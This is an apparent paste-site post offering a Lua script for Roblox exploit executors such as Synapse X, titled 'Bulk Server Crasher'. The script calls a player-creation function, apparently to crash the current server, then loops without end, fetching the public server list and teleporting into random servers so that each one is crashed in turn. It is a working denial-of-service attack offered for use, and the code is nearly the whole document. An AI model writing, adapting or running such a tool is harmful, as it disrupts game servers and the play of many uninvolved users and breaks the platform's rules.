Upscalefanatic3

(Roblox) Bulk Server Crasher [Any Server]

Apr 14th, 2020
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  1. -- Best if you place this in your Auto-Execute, cause it will then rejoin a random server to crash it
  2. -- Works best with Synapse X, but can be used with any other exploit.
  3. warn('Activated.'); game:GetService('Players'):CreateLocalPlayer()
  4.  
  5. local TS, HS = game:GetService('TeleportService'), game:GetService('HttpService')
  6.  
  7. repeat
  8. local GetRequest = game:HttpGetAsync('https://games.roblox.com/v1/games/'..game['PlaceId']..'/servers/Public?sortOrder=Asc&limit=100')
  9. local Data = HS:JSONDecode(GetRequest)['data']
  10. local Ids = {};
  11. for _,Server in next, Data do
  12. if Server['playing'] ~= nil then
  13. if Server['playing'] < Server['maxPlayers'] and game['JobId'] ~= Server['id'] then
  14. table.insert(Ids,Server['id'])
  15. end
  16. end
  17. end
  18. wait(.8)
  19. local RJI = Ids[Random.new():NextInteger(1,#Ids)]; warn(RJI)
  20. TS:TeleportToPlaceInstance(game['PlaceId'], RJI, game:GetService('Players').LocalPlayer); wait(2)
  21. until nil
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